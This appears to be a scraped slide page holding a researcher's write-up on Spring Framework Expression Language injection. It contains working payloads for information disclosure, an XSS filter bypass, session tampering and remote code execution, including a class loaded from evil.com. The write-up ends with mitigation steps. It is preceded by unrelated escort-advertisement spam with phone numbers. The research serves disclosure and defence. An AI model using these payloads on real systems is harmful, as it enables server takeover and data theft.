OYO GIRLS Call Girls in Lucknow Best Escorts Service Near You 8923113531 Call...
 
Alex and Chloe by Daniel Johnson Storyboard
Alex and Chloe by Daniel Johnson StoryboardAlex and Chloe by Daniel Johnson Storyboard
Alex and Chloe by Daniel Johnson Storyboard
 
Jeremy Casson - Top Tips for Pottery Wheel Throwing
Jeremy Casson - Top Tips for Pottery Wheel ThrowingJeremy Casson - Top Tips for Pottery Wheel Throwing
Jeremy Casson - Top Tips for Pottery Wheel Throwing
 
Jeremy Casson - How Painstaking Restoration Has Revealed the Beauty of an Imp...
Jeremy Casson - How Painstaking Restoration Has Revealed the Beauty of an Imp...Jeremy Casson - How Painstaking Restoration Has Revealed the Beauty of an Imp...
Jeremy Casson - How Painstaking Restoration Has Revealed the Beauty of an Imp...
 
Dubai Call Girl Number # 00971588312479 # Call Girl Number In Dubai # (UAE)
Dubai Call Girl Number # 00971588312479 # Call Girl Number In Dubai # (UAE)Dubai Call Girl Number # 00971588312479 # Call Girl Number In Dubai # (UAE)
Dubai Call Girl Number # 00971588312479 # Call Girl Number In Dubai # (UAE)
 
Deconstructing Gendered Language; Feminist World-Making 2024
Deconstructing Gendered Language; Feminist World-Making 2024Deconstructing Gendered Language; Feminist World-Making 2024
Deconstructing Gendered Language; Feminist World-Making 2024
 
Lucknow 💋 Russian Call Girls Lucknow | Whatsapp No 8923113531 VIP Escorts Ser...
Lucknow 💋 Russian Call Girls Lucknow | Whatsapp No 8923113531 VIP Escorts Ser...Lucknow 💋 Russian Call Girls Lucknow | Whatsapp No 8923113531 VIP Escorts Ser...
Lucknow 💋 Russian Call Girls Lucknow | Whatsapp No 8923113531 VIP Escorts Ser...
 
Lucknow 💋 Call Girls in Lucknow | Service-oriented sexy call girls 8923113531...
Lucknow 💋 Call Girls in Lucknow | Service-oriented sexy call girls 8923113531...Lucknow 💋 Call Girls in Lucknow | Service-oriented sexy call girls 8923113531...
Lucknow 💋 Call Girls in Lucknow | Service-oriented sexy call girls 8923113531...
 
Patrakarpuram ) Cheap Call Girls In Lucknow (Adult Only) 🧈 8923113531 𓀓 Esco...
Patrakarpuram ) Cheap Call Girls In Lucknow  (Adult Only) 🧈 8923113531 𓀓 Esco...Patrakarpuram ) Cheap Call Girls In Lucknow  (Adult Only) 🧈 8923113531 𓀓 Esco...
Patrakarpuram ) Cheap Call Girls In Lucknow (Adult Only) 🧈 8923113531 𓀓 Esco...
 
Lucknow 💋 Call Girls in Lucknow ₹7.5k Pick Up & Drop With Cash Payment 892311...
Lucknow 💋 Call Girls in Lucknow ₹7.5k Pick Up & Drop With Cash Payment 892311...Lucknow 💋 Call Girls in Lucknow ₹7.5k Pick Up & Drop With Cash Payment 892311...
Lucknow 💋 Call Girls in Lucknow ₹7.5k Pick Up & Drop With Cash Payment 892311...
 
Lucknow 💋 Female Escorts Service in Lucknow | Service-oriented sexy call girl...
Lucknow 💋 Female Escorts Service in Lucknow | Service-oriented sexy call girl...Lucknow 💋 Female Escorts Service in Lucknow | Service-oriented sexy call girl...
Lucknow 💋 Female Escorts Service in Lucknow | Service-oriented sexy call girl...
 
Lucknow 💋 Call Girl in Lucknow Phone No 8923113531 Elite Escort Service Avail...
Lucknow 💋 Call Girl in Lucknow Phone No 8923113531 Elite Escort Service Avail...Lucknow 💋 Call Girl in Lucknow Phone No 8923113531 Elite Escort Service Avail...
Lucknow 💋 Call Girl in Lucknow Phone No 8923113531 Elite Escort Service Avail...
 

Remote code-with-expression-language-injection

  • 1. Remote Code with Expression Language Injection Discovering a Spring Framework Vulnerability - DanAmodio More than 22,000 organizations worldwide have downloaded 1.314 million outdated instances of Spring Framework, which may be putting businesses at risk. In 2011, Stefano Di Paola of Minded Security and Arshan Dabirsiaghi from Aspect Security discovered an interesting pattern in the Spring Framework, which Stefano coined Expression Language (EL) Injection [PDF] [Advisory]. Their discovery revealed that certain Spring tags which double interpret Expression Language can be used to expose sensitive data stored on the server. This is because Spring provides EL support independent of the JSP/Servlet container, as a means for backwards compatibility, since, prior to JSP 2.0, Expression Language wasn’t supported. This functionality is currently turned on by default, and applications that use the patterns described herein are vulnerable. While it’s difficult to quantify the depth and breadth of this problem since every application will not be vulnerable as is the case with reflected XSS, we do know, according to recent statistics from Sonatype, that more than 22,000 organizations worldwide have downloaded over 1.314 million individual Spring 3.0.5, or prior. Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads. These versions do not support disabling the double EL resolution. The original impact of this issue related to information disclosure, but I’ll illustrate how it can actually be used for remote code execution on Glassfish and potentially other EL 2.2 containers. Here’s an example of what the original information disclosure attack looked like: A request of the form: http://vulnerable.com/foo?message=${applicationScope} to a page that contains:
  • 2. <spring:message text="" code="${param['message']}"></spring:message> will result in output that contains internal server information including the classpath and local working directories. You can also do other useful things like addition: ${9999+1} and access session objects and beans: ${employee.lastName} Discovery While performing a penetration test on a client’s application on Glassfish, I came across this same pattern. Knowing about EL Injection, I did additional testing, confirmed the finding, and moved along; I wanted to unearth the juicy stuff, like XSS. Alas, the application had an input filter blocking my requests, since they stripped all of the ‘<’ and ‘>’ tags. On a whim, I thought: “Since I can string manipulate in Java, why don’t I try and do that in EL and bypass the filter?” So, I attempted the following: http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPPP I noticed that the returned error code shows QQQQQ, because the String.replaceAll method has been called, and the returned text is inserted into the spring:message tag. Here’s the final working vector that bypassed the filter: http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”<”).replaceAll(“Q”,”>”)}&f oo=PscriptQalert(1);P/scriptQ It worked great, and I thought nothing of it for the next hour or so. Then I realized it was really, really, bad. Why was it possible for me to stick methods in EL like this? That begged the question- what other gnarly things can I do? After some research, I learned that the EL 2.2 added support for method invocation.
  • 3. Taking it Further I wrote a quick test application and started checking out some functionality: ${pageContext.request.getSession().setAttribute("account","123456")} ${pageContext.request.getSession().setAttribute("admin",true)} OK, session object modification is a definite risk. I really wanted to touch objects I didn’t have a direct pointer to through the pageContext. Maybe we can use reflection, like String.getClass().forName(string)? ${"".getClass().forName("java.net.Socket").newInstance().connect("127.0.0.1", 1234)} ${"".getClass().forName("java.lang.Runtime")} Wow, there’s no way that should work! This could be disastrous because you can touch just about anything. Unfortunately, it’s not possible to call newInstance() for numerous dangerous classes (like Runtime), as they do not provide default constructors. We were unable to cast objects, and there are some issues with getMethods()[0].invoke() when it requires null or a null array. EL seems to resolve these as a string literal before passing the data to the method. I assume this is due to the method signature invoke(Object obj, Object… args). Jeff Williams (Co-Founder of both Aspect Security and OWASP), Arshan, and I were all scratching our heads trying to make this work. Exploitation After seriously banging my head against the wall, I had exhausted many options. Now that we’re making this public, I hope some of you Java wizards will tell me how ridiculous I was. Here are several of the failed avenues we tried, in an attempt to get this to work:  Write a file to the file system.  Try and load the org.springframework.expression.spel.standard.SpelExpressionParser. I think this would actually work, I just couldn’t find the right class loader. ${pageContext.getClass().getClassLoader().loadClass("org.springframework.expression.s pel.standard.SpelExpressionParser")}
  • 4. javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException: org.springframework.expression.spel.standard.SpelExpressionParser not found by org.glassfish.web.javax.servlet.jsp [194].  Use reflection to modify the java.lang.Runtime.currentRuntime attribute to public.  Use reflection to create a new Runtime (and watch the world burn). ${pageContext.request.getSession().setAttribute("rtc","".getClass().forName("java.lan g.Runtime")).getDeclaredConstructors()[0])} ${pageContext.request.getSession().getAttribute("rtc").setAccessible(true)}  Use java.lang.ProcessBuilder.  Evaluate Expression Language with Expression Language. Expression-ception! I think I was getting crazy by this point. The vector doesn’t really make any sense. ${pageContext.getExpressionEvaluator().parseExpression("pageContext.request","".getCl ass(),null)}  Create an ObjectInputStream, serialize a class, and send it up through a parameter (also a little crazy). We failed many times at passing a null array to Method.invoke(). "".getClass().forName("java.lang.Runtime").getMethods()[5].invoke(param.foo.getClass( ).forName("java.lang.Runtime"),"".getClass().forName("java.util.ArrayList").newInstan ce().toArray()) java.lang.IllegalArgumentException: wrong number of arguments Nope! Finally, I tripped on the answer one evening: I was able to get a URLClassLoader, so I created a malicious class file and pointed the class loader at it. I wrote a Java class that tried to open the calculator application on the server, proving remote code execution: public class Malicious { public Malicious() {
  • 5. try { java.lang.Runtime.getRuntime().exec("open -a Calculator"); //Mac java.lang.Runtime.getRuntime().exec("calc.exe"); //Win } catch (Exception e) { } } } We create an ArrayList that will be used to construct a new URLClassLoader. It needs to be stored in the session so it can be reused. ${pageContext.request.getSession().setAttribute("arr","".getClass().forName("java.uti l.ArrayList").newInstance())} URLClassLoader provides a newInstance method, which accepts an array of URL objects. We need to create a new URL that contains the path to our malicious code. The ServletContext can provide us a URL object with the getResource(string) method, but we’re unable to create a new instance directly. However, URI provides a create(string) method which we can call, and then convert to a URL object. ${pageContext.request.getSession().getAttribute("arr").add(pageContext.getServletCont ext().getResource("/").toURI().create("http://evil.com/path/to/where/malicious/classf ile/is/located/").toURL())} Then we find a pointer to a URLClassLoader so the newInstance method can be invoked. The malicious class file is loaded and created, triggering remote code. ${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request .getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().get Parent().getURLs())).loadClass("Malicious").newInstance()} Here is my actual celebratory screenshot:
  • 6. Conclusion and Prevention It is difficult to quantify the depth and breadth of this since not every application will be vulnerable as is the case with reflected XSS. Un-validated data has to be passed into one of the vulnerable Spring tags, or otherwise hit an expression interpreter. What we do know, according to recent statistics from Sonatype, is that more than 22,000 organizations, worldwide have downloaded over 1.314 million individual Spring 3.0.5 or prior. These do not support disabling the double EL resolution. It’s time to update your libraries folks! This was all tested on Glassfish 3.1.2.2 with Spring 3.0.6, but Tomcat 7 claims to support the method invocation functionality. It’s also possible this has been specifically retrofitted into older versions by users. As of December 6, 2012, Spring has updated the original CVE to a critical, and will be making the functionality available on an opt-in basis for a future release.
  • 7. Today, you can opt-out with Spring 3.0.6 and above by setting the springJspExpressionSupport context parameter to false in your web.xml. <context-param> <description>Spring Expression Language Support</description> <param-name>springJspExpressionSupport</param-name> <param-value>false</param-value> </context-param> On Spring Framework 3.1 onwards when running on Servlet 3.0 or higher, the functionality should be off by default, but it never hurts to be explicit. @DanAmodio